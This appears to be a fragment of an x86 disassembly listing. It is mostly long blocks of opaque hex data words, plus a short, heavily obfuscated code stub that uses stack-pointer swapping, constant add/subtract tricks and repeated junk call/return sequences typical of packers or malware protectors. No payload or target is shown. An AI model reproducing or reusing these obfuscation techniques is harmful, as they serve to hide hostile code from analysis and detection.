		dd 882EF6E9h, 63F2947Ch, 4029B65Bh, 67000000h, 7FAEE2F8h
		dd 0DB4F2101h, 195EC730h, 4F2266EAh, 0B582EBDBh, 4F20FA86h
		dd 7DDB22DBh, 0B0561FB2h, 0D88CF847h, 0F53A32A8h, 4F228AC6h
		dd 70114DDBh, 0B662EFA6h, 5DC699E8h, 97B151h, 0F8670000h
		dd 1B4A8FDDh, 0D1384FECh, 49A7EC55h, 0B78CDB81h, 0F7BF1D6Ah
		dd 0EC138451h, 0D501F194h, 17DE349Dh, 0E433A471h, 0C18BE86h
		dd 6E14DF3Dh, 617C65A1h, 2FAEBBA3h, 511977C6h, 3391DEABh
		dd 4372C167h, 0D5012232h, 6285BFABh, 8BE8F49Ah,	0AEDD224Ah
		dd 0CAD29A12h, 0DC0B58A5h, 0CEACA7A4h, 83FD248Dh, 0AECEACA7h
		dd 0BA23F645h, 56C78FEDh, 40AF1D90h, 9865CE0Fh,	0FFCC723Ah
		dd 612ED4A1h, 11C77DEBh, 0CD533F8h, 0B9AB1766h,	1B600CC9h
		dd 7E22D4ECh, 0E8F45DC4h, 8FDDF89Eh, 0D89FFD4Ah, 0CB4E332h
		dd 0ABD1209Ah, 0A7512F5Eh, 6E77D4FAh, 80FDD1DEh, 0CA19824Dh
		dd 63C18EF7h, 9E9F59Bh,	9FCE9B41h, 64C4D9EBh, 8E5B01CBh
		dd 0CD66930h, 0BF289966h, 0A89C02F2h, 1E46B422h, 717D23EBh
		dd 5623C991h, 0B8852BF8h, 5FB1B397h, 0C6933901h, 2EFBA168h
		dd 0A70554BDh, 4D2D39DFh, 0F412DF85h, 3, 758C54AAh, 0DE3C09AFh
		dd 45A37016h, 0A806D379h, 106E3BE1h, 76D4A147h,	0DC3A07ADh
		dd 3E9C690Fh, 0A301CE74h, 0E86532D8h, 5E08950h,	4, 8704E883h
		dd 895C2404h, 0A2682404h, 89000056h, 96682404h,	89000002h
		dd 0CD68243Ch, 8B065478h, 0C4812404h, 4, 8904EC83h, 4832424h
		dd 685F0424h, 16CCh, 8F240489h,	3C8B0847h, 0E0895024h
		dd 405h, 4C08300h, 5C240487h, 582434FFh, 0E904C483h, 0FFF901A1h
		dd 0B89F5F17h, 6547DBEh, 0E0FFC503h, 302870Eh, 71F4AE0Dh
		dd 9B57535h, 26E0A911h,	108ABF73h, 71EF43F1h, 33A0E488h
		dd 460A00D1h, 54C42F23h, 664D14D6h, 7FAC7289h, 498C390Dh
		dd 17AA3676h, 18AF33E8h, 7B01F203h, 1ACFB1D3h, 42B23EECh
		dd 0E95604EBh, 94E936F6h, 0F2000005h, 9A7A862Ch, 3D1D29CFh
		dd 0E1C1CD73h, 82626E14h, 50713B9h, 3FE5AEE3h, 0E68C5333h
		dd 882EFADAh, 2ED49C7Ch, 8FBE8B22h, 0D4FAA2F1h,	75F53540h
		dd 64C207ADh, 0C927F49Ah, 0A2F15A00h, 0A66FCDh,	0D7727FBBh
		dd 6E3BE1ABh, 0B748C9FDh, 0BF9FB302h, 378451F7h, 31C5BBEAh
		dd 36CDB4Eh, 0E88E56B4h, 0A470CE1Bh, 71C031FEh,	5DA24813h
		dd 0C59238FFh, 7B232054h, 83FFCB40h, 7BE95F34h,	0A84E16C9h
		dd 9BDA1663h, 0F2ECC41Dh, 8585FB22h, 43ACDB4Eh,	3400E0F4h
		dd 0D6A2828Eh, 3E056330h, 0D7065398h, 0DB4E85A9h, 0C59036FDh
		dd 17380D5Ch, 2CE3133h,	0A870505Ch, 8AE83502h, 8B4B4EBFh
		dd 0CD577DD4h, 8DE61564h, 57DB4EC9h, 7E08F371h,	9DB01615h
		dd 68h,	7AD75DBh, 20770B3Ah, 977DDB4Fh,	421032ADh, 1C7B016h
		dd 5000000h, 0F928AA75h, 0DB4F2087h, 0EC0D41AAh, 0A1A57322h
		dd 0B513E049h, 197744EAh, 4BF1B94Ch, 319F15E2h,	0C5A5E133h
		dd 0EF777AE1h, 1BE64493h, 0AF18BE88h, 0A7232E6Ah, 3AA8C75Ch
		dd 8BFCC96Fh, 0DFBFD322h, 15BB8417h, 77A3D748h,	0FB90A878h
		dd 0DF29359Eh, 5019AC75h, 36CDDAAh, 670DD836h, 44AA9Ah
		dd 626E14DDh, 4714BA82h, 0AC791FE9h, 789ACA38h,	4E01F3Ch
		dd 0BA097841h, 164E2254h, 9CD9B0h, 75170000h, 0DB3906ACh
		dd 0CB39A011h, 0A690A4E6h, 4712703Dh, 0AD76D4A1h, 7D90A23Ch
		dd 44AD7F7Dh, 0D1930177h, 53FAD1Bh, 677319E2h, 0D318BE87h
		dd 49303697h, 925E7C03h, 0D84F83ECh, 32476B6Fh
		dd 419F74C3h, 8D01CE74h, 0B8BA251Fh, 3FB01614h,	88h, 5B28867Dh
		dd 3F0866B5h, 703DE3ACh, 45196FFh, 4F20ABD5h, 0A3DD0CDBh
		dd 8EDB4F20h, 0A2F15A25h, 0FDA36FCDh, 6208D230h, 0C86E3795h
		dd 4CF8E4FBh, 0D98B7786h, 6A10D937h, 7FDD2C9Dh,	350410B6h
		dd 20C7B9E8h, 16ADB4Fh,	4A86EAB2h, 4E76CDEDh, 3391E052h
		dd 670DD568h, 710231FEh, 25DB4ECCh, 89E7B45Ah, 0FBC218BEh
		dd 8CF59B68h, 0FB69CFBFh, 0EA26EDF5h, 0B152D4Eh, 2894E319h
		dd 0D7A1C13Ch, 156B016h, 94000000h, 0D584A86h, 0FF33D9A5h
		dd 7ED45916h, 64C211B7h, 73AFF49Ah, 2C5BD113h, 0DB4E4354h
		dd 0D64074DDh, 0F0C5143Fh, 0DF24CA92h, 0BF0EB481h, 19BF8CEAh
		dd 7D23EE4Ch, 0E262C8B0h, 268F35FFh, 0C83B290Dh, 0EF4C58FEh
		dd 0F44186E6h, 0B10878A7h, 0D329DB4Eh, 0C8FC650Bh, 0AB897596h
		dd 0E5146318h, 0D137B692h, 651B4A8Fh, 0CCD5016Eh, 9B04AA76h
		dd 3F076532h, 89185499h, 2A56852Ch, 7D5019Eh, 3A4B6A9Eh
		dd 9C7C90DFh, 14612ED4h, 7643E9B6h, 0FB87B605h,	0F2D501AAh
		dd 0E3AB5E06h, 8951313Dh, 0F0B816E3h, 89B8054Ah, 0D501AAF7h
		dd 5D8CD13Ah, 0D501AB23h, 8156A50Eh, 0C6392B91h, 0FCA26BFEh
		dd 4955BE2Fh, 5B34C161h, 148F6B6h, 86340000h, 0EDBA6028h
		dd 0B51EC48Fh, 354A8B66h, 1A5FC86Eh, 3841A0EBh,	7B48B1D1h
		dd 0A3AF551Dh, 8855FBC3h, 6CF622Ah, 17469360h, 0D501FF69h
		dd 0A0F65FC8h, 0FBC831D7h, 4CBFA50Bh, 3B99DE84h, 8F00CD73h
		dd 105D2C40h, 1FF9FE1h,	97E918D5h, 9AD501FFh, 37326631h
		dd 0A7530801h, 7DE3329Bh, 0B65BABE5h, 7212h, 0E2F85000h
		dd 0BCF8458Ah, 9CD1776Eh, 0F01F6EBEh, 0DB4E3A60h, 7F0F3B77h
		dd 657EC570h, 95DA4316h, 71C76D37h, 0DCB100A6h,	4F0ED3ADh
		dd 61E349DBh, 0C066318Fh, 0C54E82F3h, 7C10BE7Ah, 0CA10EB3Ah
		dd 222E5DA2h, 2FDB4EF8h, 0F5C5BBEAh, 36CDB4Eh, 72BF8E9Ah
		dd 4EF53D43h, 80AFF4DBh, 0DB4EF600h, 105FC831h,	79F2h
		dd 0CBE72300h, 8B0A742Eh, 0F809D120h, 0FD4A8FDDh, 0AAB1B5C1h
		dd 0D423E327h, 378D62A5h, 0A976DFD1h, 0D1DD834Bh, 0B68329F1h
		dd 130EE87h, 0E622EFD5h, 0C752C711h, 0C46A362Dh, 0A4A00C5Bh
		dd 1AE67941h, 0CD36A774h, 0FB7164C1h, 0EA9058B6h, 105DAC1Dh
		dd 0D33E0FE1h, 0CC9902CAh, 1C35A66Eh, 0C690631Bh, 2748157Eh
		dd 91EF0143h, 0E35421C7h, 501CB994h, 0BE14DC0Bh, 94FDC47Eh
		dd 0DDF83E88h, 0C1FD4A8Fh, 0D6F0C593h, 0F6257438h, 0D12049FAh
		dd 0D0763F9Dh, 0B908AE7Ah, 0FC387DE6h, 0BC25BA3Ah, 0ADF2E33h
		dd 323EE4ACh, 9FE48A52h, 0E5C93A63h, 0C413C41Bh, 0C9C4C0EFh
		dd 2BF2053Dh, 8F5AB885h, 0C62C1CE9h, 7CEA589Eh,	0A74D15C8h
		dd 71F3BB9Bh, 57EF3E42h, 0FAA068A4h, 680ED92Fh,	58C12A9Bh
		dd 17E03E8Bh, 0F7C42271h, 9E638451h, 83D27840h,	0F2BA2D17h
		dd 0EF3F4170h, 89F2A457h, 6C341420h, 3DBF9C6h, 91000000h
		dd 0AF758C54h, 16DE3C09h, 7945A370h, 0E1A806D3h, 47106E3Bh
		dd 0AD76D4A1h, 0FDC3A07h, 743E9C69h, 0D8A301CEh, 68E86532h
		dd 4AA5h, 51240C89h, 0C181E189h, 4, 8704E983h, 895C240Ch
		dd 89512434h, 4C181E1h,	81000000h, 4E9h, 240C8700h, 2404895Ch
		dd 34246850h, 25583BABh, 5BAD2E47h, 546A2425h, 5E793562h
		dd 5E500454h, 2E06858h,	24890000h, 24048124h, 4, 4EC8358h
		dd 0BB241C89h, 8, 3389C301h, 2434FF5Bh,	4C48358h, 5E2434FFh
		dd 0E904C483h, 0FFF8FBBDh, 88522FF2h, 6D85E878h, 0B80423DFh
		dd 6548389h, 0E0FFC503h, 77AB93BEh, 11523685h, 2F45CB63h
		dd 7D880183h, 6A60AF4Dh, 3B5B7171h, 3F537C90h, 549D3BD2h
		dd 37744E21h, 304E7488h, 3F08B061h, 10EBh, 3 dup(0)
		dd 0C08B0000h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	0D3C35646h, 0D622B3A5h,	0C789C4Ah, 1BD9BD83h, 7500064Dh
		dd 11BD8309h, 64D00h, 53501974h, 2DB8C08Bh, 89000004h
		dd 4D257585h, 159D8D06h, 0FF064FB7h, 83585BD3h,	4D0011BDh
		dd 17740006h, 2DB85350h, 89000004h, 4D257585h, 49D8D06h
		dd 0FF064FB4h, 8B585BD3h, 4D2E4DB5h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 7A9F9D73h
		dd 3B24C108h, 0BC00C681h, 10E85106h, 0A2000000h, 311CD28Dh
		dd 0FD0CED49h, 0AA62018h, 0E908B6D4h, 0Ah, 4E2855EFh, 257249CCh
		dd 8B5E910Ah, 1958BC0h,	8B064D2Bh, 4D21998Dh, 48F0F06h
		dd 66000000h, 83DD7ABEh, 840F00F9h, 0D8h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Bh, 1AC35545h, 0B7ED6243h
		dd 60C39C23h, 1C658D8Bh, 810F064Dh, 6, 0BA58D09h, 0BE61064Dh
		dd 2931821Dh, 2C3D8B64h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 26ADC355h
		dd 177D958Bh, 0FF0B064Dh, 6A840Fh, 0F58A0000h, 3F8BA7B2h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 51C35242h
		dd 5DBE04A3h, 958B7284h, 64D2189h, 7E9C032h, 0A2000000h
		dd 0F09435CEh, 0AAF32A15h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0D8C35141h, 12A469AAh, 65958B57h, 0BA064D2Fh
		dd 2D0B8408h, 50414935h, 0E1B58B53h, 0C6064D2Fh, 4D26E585h
		dd 8B664706h, 0EE9F3h, 22A90000h, 0B3F3DDA4h, 0A16C4490h
		dd 1A9C8C6Ch, 4E8h, 0D6882C00h,	50F5B2DCh, 61CE8B60h, 424448Bh
		dd 5ED08B53h, 0BA66008Bh, 4489DF8Bh, 0BA660424h, 8B58C0B0h
		dd 4D008195h, 29B5FF06h, 6A064D0Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0AD7BC351h
		dd 337277DEh, 0D5958B33h, 8D064D0Fh, 5075D785h,	4D8D2906h
		dd 0FF064D32h, 8589F9D0h, 64D1B49h, 9E9h, 2E90FD00h, 0C1FFC738h
		dd 85C60EF1h, 64D26E5h,	55006A53h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0ACB00618h, 5E880D4h
		dd 0C1000000h, 8F3497ACh, 0EE9h, 0AFD03300h, 0D0F38CF1h
		dd 0EAFDD6EFh, 5A9F2B33h, 4E8h,	986AFC00h, 1B820F88h, 0E8000000h
		dd 11h,	92068ADBh, 2DB2D020h, 624516BDh, 0A4892F8Fh, 39BE66B2h
		dd 8A505EE4h, 24448BF1h, 168F0F04h, 50000000h, 6E952h
		dd 9EDD0000h, 534D8508h, 0C6BE310Fh, 5A6CC557h,	0E9008B58h
		dd 0Bh,	0E7E1CE96h, 63952812h, 89373F53h, 53042444h, 820F585Eh
		dd 0Ah,	48A0Fh,	0BA660000h, 0B5FF75FFh,	64D0B29h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0DC35747h, 2AA296E2h
		dd 6640ACBCh, 2850F43h,	0B6000000h, 0D7858DD7h,	8B065075h
		dd 4D30C5B5h, 8DD0FF06h, 503C6A85h, 8979B206h, 4D0B8985h
		dd 6A206A06h, 8995FFFFh, 35064D0Bh, 53504149h, 299985C7h
		dd 1064Dh, 85C70000h, 64D2245h,	0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 5BC35141h
		dd 4328B0C2h, 4F69D768h, 0EE96097h, 0B9000000h,	7BF01AB8h
		dd 10747925h, 0F05CD6Ch, 4FDA80DBh, 85895761h, 64D23C9h
		dd 658D895Eh, 83064D29h, 4D21A5BDh, 840F0006h, 8Dh, 0E116DABAh
		dd 3D858B78h, 89064D0Bh, 4D0F9195h, 0A36406h, 8B000000h
		dd 4D1B4185h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0E92EC731h, 0Ah, 8092A6B8h, 0B6AA8F37h
		dd 0E08B1E96h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	27C35747h, 0E97A1F34h, 11h, 2EBC8C8Ch, 0CF803AACh
		dd 0AF3F7B72h, 0AED53236h, 68C0FDAh, 89000000h,	4D05358Dh
		dd 79BD8306h, 64D21h, 3F5850Fh,	0B70F0000h, 0E585C6F1h
		dd 56064D26h, 0C0DA8160h, 66768FC1h, 612C80BBh,	8F580B68h
		dd 0F28B6698h, 0D4240481h, 0BE1135D8h, 7983581Bh, 0B29B5FFh
		dd 6A064Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 6FFA77C3h, 0C9B7E3E3h, 3175BD89h,	858D064Dh
		dd 65075D7h, 1ACD958Bh,	0BE66064Dh, 0D0FFB9E0h,	5E9h, 0EFADB200h
		dd 6050D6CDh, 11E9h, 6F6FF600h,	0C148294Eh, 47B11364h
		dd 5A636660h, 5160C440h, 0F9BB665Eh, 89616175h,	9E92404h
		dd 0A0000000h, 6F941A54h, 24E5921Dh, 2B818D8Dh,	0B9BE064Dh
		dd 91639C90h, 0FE95250h, 0E2000000h, 0B788271Dh, 49A11354h
		dd 48AA617Dh, 310F1F08h, 0E950585Ah, 0Ch, 0C82303F8h, 0A45F76DAh
		dd 7484DFB8h, 6AF38B91h, 9D958B04h, 68064D0Ah, 0A27520A4h
		dd 58C0Fh, 8BBA0000h, 811C5C95h, 0EF5C2404h, 6A5D8Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 57BF45C3h, 84BA6650h, 0F5A5A24h, 680h, 61B52300h, 0FF064D2Ch
		dd 4D2A11B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 26FCABD4h, 0C2CB6678h, 6E9h, 0AE88C800h
		dd 0F8F6917h, 684h, 0CDB58900h,	0FF064D2Fh, 1DBD31D0h
		dd 8B064D33h, 4D2A11BDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0DABE7DFDh, 3642107h
		dd 8B603C7Fh, 4D236985h, 5E906h, 18B50000h, 613B5268h
		dd 0F8C781h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0F2FBE9C3h, 0E9A1BABEh, 47C741F9h
		dd 2024h, 0F5952960h, 83064D28h, 548448BDh, 840F0006h
		dd 13Eh, 0B31BD89h, 0C783064Dh,	50006A28h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 9AD6F2E3h
		dd 13E91Dh, 0CF790000h,	5B558855h, 0BB029B9Ch, 4D45C334h
		dd 0A0D01E93h, 81958BB0h, 0C7064D18h, 696A2E07h, 0EFE68064h
		dd 610447C7h, 0E9006174h, 0Bh, 0E7864B71h, 1C5BD5A1h, 8BFB6668h
		dd 54845085h, 8D8B6006h, 64D295Dh, 4159D8Bh, 8961064Dh
		dd 89500C47h, 4D0B4D8Dh, 858B5A06h, 6548454h, 0B58B17B2h
		dd 64D1F61h, 0F9084789h, 8028C783h, 7C7A9D6h, 6E6F632Eh
		dd 0C7F1BF0Fh, 69660447h, 0B58B0067h, 64D070Dh,	844C858Bh
		dd 8B600654h, 4D0BD19Dh, 5DB58906h, 61064D20h, 6A0C4789h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0BEDAC357h, 0DC1B9CDBh, 807C4062h, 858B7EEEh
		dd 6548448h, 23219D89h,	4789064Dh, 51006A08h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0BA28011Eh
		dd 0E48ECB42h, 0DE890h,	178B0000h, 4ABF12FCh, 0C04FBCBBh
		dd 8B207635h, 4D12F9B5h, 66585A06h, 8D8DD08Bh, 64D0D81h
		dd 0FF28B66h, 0E950D6BFh, 8, 98CF0631h,	0D88F5594h, 81240C89h
		dd 3BBAAAC2h, 81B5FF49h, 66064D2Bh, 0E80C9ABAh,	4, 1000h
		dd 0C870Fh, 840F0000h, 6, 310F5250h, 0E850585Ah, 0Fh, 0BFD9175h
		dd 161B2E85h, 801FE1Bh,	5EAACB8Eh, 424448Bh, 0F18B008Bh
		dd 4244489h, 0DE9h, 0D1C8A000h,	0DD7E1DE3h, 0C5293515h
		dd 6A586C3Dh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0C8FFC355h, 8923E896h,	4D1BD1B5h
		dd 0E1958B06h, 0FF064D1Eh, 4D2A11B5h, 0C5D28106h, 0FF4A694Fh
		dd 0B85E52D0h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 13C35141h
		dd 80BFA89Ah, 0B90B2DAh, 3D840FC0h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 5E0EC356h, 8953A55Ch, 4D138DB5h, 0B5FF5E06h,	64D23B9h
		dd 0CD460BAh, 5595FF71h, 66064D2Eh, 0E9CAC681h,	0E281C08Bh
		dd 6FA82725h, 1BD9BD83h, 7500064Dh, 11BD8309h, 64D00h
		dd 53501974h, 2DB8C08Bh, 89000004h, 4D31A585h, 7C9D8D06h
		dd 0FF064FB7h, 83585BD3h, 4D0011BDh, 17740006h,	2DB85350h
		dd 89000004h, 4D31A585h, 1D9D8D06h, 0FF064FB4h,	6A585BD3h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 3DA8C356h, 0F1C6C51h, 6650D7B7h, 5A47FEBEh
		dd 81D9C281h, 9D89028Bh, 64D0D85h, 0C08BC08Bh, 292B04EBh
		dd 9FE94F18h, 4A000005h, 0F2D2DE84h, 95758127h,	391925CBh
		dd 0DABAC66Ch, 5D5F6B11h, 973D064Bh, 3EE4AB8Bh,	0E0865232h
		dd 862CF4D4h, 0E716E37Ah, 0D4FA9399h, 864D8D98h, 0ECB95F28h
		dd 6CE2C7Bh, 0F3BD1B60h, 0C00F804Dh, 1EC48DEBh,	0C46A3212h
		dd 2BD199F7h, 0C435005Eh, 9C87A5Bh, 0BD84117h, 0CA3D2795h
		dd 0FFA56F02h, 4C58C132h, 0EEFAA06Ch, 0CF9C420Eh, 3704AA71h
		dd 0CF323216h, 71515D03h, 60BE03A9h, 0E723F096h, 44A5E97Ah
		dd 295DC6E4h, 177322ACh, 0FE43318h, 4EA893E0h, 0F96B51DBh
		dd 163A64FEh, 0B372AEB0h, 79F78CE8h, 5280E837h,	0BE000000h
		dd 0B65C2886h, 0D0410967h, 0B80F2514h, 602D9654h, 4EEE5131h
		dd 87BDA3DBh, 1670CA5Ch, 1F1B0h, 752F0000h, 0D93704AAh
		dd 4E9B680Eh, 2F7E24F0h, 195E04D1h, 0FB4AF0BBh,	242B026h
		dd 296E14DFh, 0EADF35EDh, 9AF0D95Eh, 0C9DD2CD2h, 6F7B21E9h
		dd 2AAC7525h, 4F2085FBh, 0DA43ACDBh, 73E4AF0Dh,	68D94786h
		dd 998EC272h, 2D62AAB0h, 0C6B683ECh, 0B056217Fh, 1380A7E3h
		dd 3291FCC3h, 560E7AC9h, 0E679EAB3h, 553B3D02h,	2B943A06h
		dd 0A4417DC2h, 59529B73h, 755569B8h, 0E0511AADh, 7D0B6C58h
		dd 9B68D1B4h, 6309D42Ah, 0EFBC2596h, 5421C791h,	683391E0h
		dd 4CA38EC2h, 1D2B2D9Ch, 10E262CEh, 723FE5B2h, 2A4CB201h
		dd 0D1B01625h, 0A3h, 3BAC750Fh,	25C86177h, 0AF7CE5BCh
		dd 2AF48751h, 1246B784h, 1A35092Eh, 0FECB3428h,	622FD5A0h
		dd 0C5923804h, 8384C0A4h, 0A3240E3Bh, 0D442ABB0h, 420BFE66h
		dd 4D1B579Ch, 16FCF68Fh, 340CF643h, 5B59B300h, 4F18F80Ch
		dd 824FF5BCh, 7DDBA811h, 0C93D0AB0h, 44EEE95Bh,	73B0160Eh
		dd 73h,	5F2886B1h, 0F25B01CCh, 765B425h, 0F38DBC3Eh, 3EDB4F20h
		dd 117A20E8h, 308EDBA8h, 85F6C369h, 1D100651h, 32812289h
		dd 4A8608D4h, 8581AB02h, 0E29EC5C3h, 4FDB4E5Dh,	99B07DE6h
		dd 8B54B7ADh, 758FD9E5h, 83704AAh, 0DB4F206Bh, 0F0BD632Bh
		dd 5623C992h, 0BA872DF8h, 49FB6149h, 210878A7h,	0C029DB4Fh
		dd 0FB694F57h, 16426600h, 195B0h, 75D30000h, 0A64C18ABh
		dd 4A12703Dh, 0F1B6D7A4h, 0B56C88B5h, 57643E9h,	3B55F3D1h
		dd 21C480ECh, 48A5B157h, 6B9ADF8Dh, 0D137F50Ch,	0CF753D9Bh
		dd 6F429102h, 13DB3906h, 3492616Dh, 650BD669h, 0F1BE2798h
		dd 5926CC93h, 0D2307FE8h, 4A97640Ah, 247C1B0Eh,	0FDC40C39h
		dd 0B0198A57h, 7C503261h, 0B19DD501h, 0E51461B3h, 0D5017C9Bh
		dd 5E225196h, 0D3D5017Ch, 54B2016Ah, 872DF98Ch,	6A32121Eh
		dd 7CC7B9E8h, 256AD501h, 17C8AF6h, 0D53EA7D5h, 79419F6Ch
		dd 0DBA806D3h, 410A6835h, 80E6CE9Bh, 0DF260EC4h, 0AB7678A3h
		dd 451070F1h, 17E0369Fh, 0E433A471h, 5119CC78h,	0AFB79FABh
		dd 67B65B55h, 54993F09h, 2155B25h, 1E6DD6D5h, 14AB6h, 4A86F400h
		dd 23EB0716h, 0B3FB07Dh, 0C6155FD9h, 3D82EAEBh,	25CB92F0h
		dd 0C0C0E758h, 71DB4ED0h, 3FE5B208h, 1774A3F0h,	3AD137F2h
		dd 5421EB06h, 5F8E9C84h, 0D5013521h, 0D53EA710h, 427FBB08h
		dd 42031D2Bh, 763E9CEBh, 1CE4C4D0h, 834BA976h, 0ACC89312h
		dd 2A93EF7Bh, 5D076D5Dh, 303CE2AAh, 5B833E48h, 4BDDB6h
		dd 0F81B0000h, 16458AE2h, 0DB4F223Ah, 0B2E1AE17h, 0DB4F1FCEh
		dd 9A670DD8h, 0FCC96F3Ch, 5F2CD29Eh, 0BCA80EEEh, 74F05636h
		dd 0F7C1C614h, 74A3E851h, 0DB4F21DCh, 0F804BFFBh, 6218EC5Fh
		dd 7135B22Eh, 60AF609Fh, 7818248Dh, 97h, 8FDDF82Eh, 0B2CEFD4Ah
		dd 7FDB4F20h, 4B7AC716h, 0D1384FBCh, 24F1C85h, 0F1FA86B5h
		dd 0DFACD501h, 0B6056E39h, 0DEEA9058h, 0C39036FEh, 1F2E194h
		dd 46ECB5D5h, 0AA501B79h, 4BF967DDh, 0D0306FBAh, 66F729Fh
		dd 0A6590BF7h, 5D2C38DEh, 3E8D33FFh, 0B5FA7263h, 96E58B57h
		dd 98AE1A49h, 0DD19CAD3h, 8FD6A66h, 20F34230h, 0C48CEAB7h
		dd 4C30511Eh, 5CA9F618h, 0ADA2532Dh, 4E75DECEh,	0CEADA232h
		dd 6C4796FFh, 8FBE0369h, 0C47F3139h, 853BD408h,	87C1C748h
		dd 0F8C8121Eh, 1B4A8FDDh, 0D120AEADh, 115E2B94h, 7340E6B3h
		dd 8D55B302h, 33FBDBE7h, 0C730D6A0h, 4E37CBFAh,	0E9570BE4h
		dd 3EC0887Bh, 0ADD8710Fh, 6917468Bh, 0C88BADD8h, 0C22B945Fh
		dd 680ED6B6h, 58FEC523h, 9D63409h, 0A2EC7D98h, 7BE4F86Ah
		dd 0BBA98DAEh, 892FFB59h, 6E14DC3Ah, 0D3ADDC29h, 5E8BAD72h
		dd 0B292A6F5h, 6C1579EAh, 6B6DB46Ah, 12466EC8h,	228BBBBFh
		dd 33755h, 54ED0000h, 9AF758Ch,	7016DE3Ch, 0D37945A3h
		dd 3BE1A806h, 0A147106Eh, 7AD76D4h, 690FDC3Ah, 0CE743E9Ch
		dd 32D8A301h, 8951E865h, 4C181E1h, 55000000h, 4BDh, 5DE92900h
		dd 5C240C87h, 81E28952h, 4C2h, 4EA8300h, 5C241487h
		db 89h,	14h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	6548DD5h
		mov	edx, [esp]
		add	esp, 4
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	edx
		sub	dword ptr [esp], 34F45A77h
		pop	dword ptr [esi+8]
		add	dword ptr [esi+8], 34F45A77h
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_546EAD
; ---------------------------------------------------------------------------
		dw 0C7C9h
		dd 56D950F6h, 0C7606EE0h, 0E0B85817h, 3065492h,	53E0FFC5h
		dd 0C23C5712h, 781C7390h, 0C26ED847h, 0DF023A63h, 6E1105E0h
		dd 0E56B4418h, 0C80DDB26h, 0FC5BB800h, 2D6B156Dh, 0D77DB480h
		dd 8D2BA977h, 5494348Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 13BC3F92h, 0BE9h, 0AE999300h
		dd 996A3016h, 0DACB5E37h, 5998D89h, 36B2064Dh, 0CFB70F60h
		dd 1D85C761h, 34064D05h, 900005Ah, 4D2E45BDh, 0E985C706h
		dd 64D02h, 60000000h, 0E19D8B60h, 0F064D26h, 8Bh, 0EE816100h
		dd 20EE21AFh, 0F9B5FF61h, 0FF064D25h, 4D2E5595h, 2DB58906h
		dd 6A064D0Dh, 1195FF00h, 8B064D05h, 0E22CEBC0h,	44890FA3h
		dd 8E57E5D7h, 71DB19B8h, 984D0856h, 6229D882h, 0F0CFEECBh
		dd 0EAFA5806h, 25F42B6Ah, 0A429F21Ch, 2EE7EDD2h, 0E88CBE25h
		dd 7, 724ED64Eh, 8B4044E4h, 4D2C6595h, 8F0F5906h, 11h
		dd 0CE9h, 0DD752E00h, 0ED07A31Ah, 53FDA90Ah, 0CFC181D1h
		dd 8B000060h, 4D31FDBDh, 873EBB06h, 0EB813915h,	39156F32h
		dd 0CAD9501h, 318B064Dh, 81C8D680h, 0DFF9BDF6h,	91958B05h
		dd 81064D00h, 0E35A0AF6h, 9C88128h, 810F8FE8h, 170E19EEh
		dd 56C28B43h, 15558D89h, 18F064Dh, 8E9h, 8777D900h, 8D6F07Fh
		dd 38E981CDh, 8B7A098Dh, 4D1F0DBDh, 34C18106h, 667A098Dh
		dd 0EB81FB8Bh, 1, 0FFA4850Fh, 8166FFFFh, 8D1C07F2h, 5495DD8Dh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0D381F9EEh, 68DF810h, 5998D89h, 9D89064Dh
		dd 64D13A5h, 51D85C7h, 6668064Dh, 12E80000h, 0E7000000h
		dd 0A099BD6Eh, 7A4D62E3h, 4068A6DEh, 8AE70942h,	0AECBA6Ah
		dd 0C7586FA0h, 4D02E985h, 6, 79958900h,	0FF064D0Ah, 4D2795B5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 21BE00ECh, 8CB44CBAh, 5595FF24h,	6A064D2Eh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
